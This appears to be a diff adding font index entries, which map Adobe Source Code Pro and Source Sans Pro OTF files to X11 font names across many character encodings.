+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-ibm-cp437
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-ibm-cp866
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso8859-5
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-koi8-e
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-koi8-r
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-koi8-ru
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-koi8-u
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-koi8-uni
+SourceCodePro-Bold.otf -adobe-source code pro-bold-r-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-BoldIt.otf -adobe-source code pro-bold-i-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-ibm-cp437
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-ibm-cp866
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso8859-5
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-koi8-e
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-koi8-r
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-koi8-ru
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-koi8-u
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-koi8-uni
+SourceCodePro-ExtraLight.otf -adobe-source code pro extralight-extralight-r-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-ExtraLightIt.otf -adobe-source code pro extralight-extralight-i-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-It.otf -adobe-source code pro-medium-i-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-ibm-cp437
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-ibm-cp866
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso8859-5
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-koi8-e
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-koi8-r
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-koi8-ru
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-koi8-u
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-koi8-uni
+SourceCodePro-Light.otf -adobe-source code pro light-light-r-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-LightIt.otf -adobe-source code pro light-light-i-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-ibm-cp437
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-ibm-cp866
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso8859-5
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-koi8-e
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-koi8-r
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-koi8-ru
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-koi8-u
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-koi8-uni
+SourceCodePro-Medium.otf -adobe-source code pro medium-medium-r-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-MediumIt.otf -adobe-source code pro medium-medium-i-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-ibm-cp437
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-ibm-cp866
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso8859-5
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-koi8-e
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-koi8-r
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-koi8-ru
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-koi8-u
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-koi8-uni
+SourceCodePro-Regular.otf -adobe-source code pro-medium-r-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-ibm-cp437
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-ibm-cp866
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso8859-5
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-koi8-e
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-koi8-r
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-koi8-ru
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-koi8-u
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-koi8-uni
+SourceCodePro-Semibold.otf -adobe-source code pro semibold-semibold-r-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-SemiboldIt.otf -adobe-source code pro semibold-semibold-i-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso8859-10
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso8859-4
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso8859-5
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-koi8-e
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-koi8-r
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-koi8-ru
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-koi8-u
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-koi8-uni
+SourceSansPro-Black.otf -adobe-source sans pro black-black-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-BlackIt.otf -adobe-source sans pro black-black-i-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-BlackIt.otf -adobe-source sans pro black-black-i-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-BlackIt.otf -adobe-source sans pro black-black-i-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-BlackIt.otf -adobe-source sans pro black-black-i-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-BlackIt.otf -adobe-source sans pro black-black-i-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-BlackIt.otf -adobe-source sans pro black-black-i-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-BlackIt.otf -adobe-source sans pro black-black-i-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-BlackIt.otf -adobe-source sans pro black-black-i-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-BlackIt.otf -adobe-source sans pro black-black-i-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-BlackIt.otf -adobe-source sans pro black-black-i-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso8859-10
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso8859-4
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso8859-5
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-koi8-e
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-koi8-r
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-koi8-ru
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-koi8-u
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-koi8-uni
+SourceSansPro-Bold.otf -adobe-source sans pro-bold-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-BoldIt.otf -adobe-source sans pro-bold-i-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-BoldIt.otf -adobe-source sans pro-bold-i-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-BoldIt.otf -adobe-source sans pro-bold-i-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-BoldIt.otf -adobe-source sans pro-bold-i-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-BoldIt.otf -adobe-source sans pro-bold-i-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-BoldIt.otf -adobe-source sans pro-bold-i-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-BoldIt.otf -adobe-source sans pro-bold-i-normal--0-0-0-0-p-0-iso8859-2
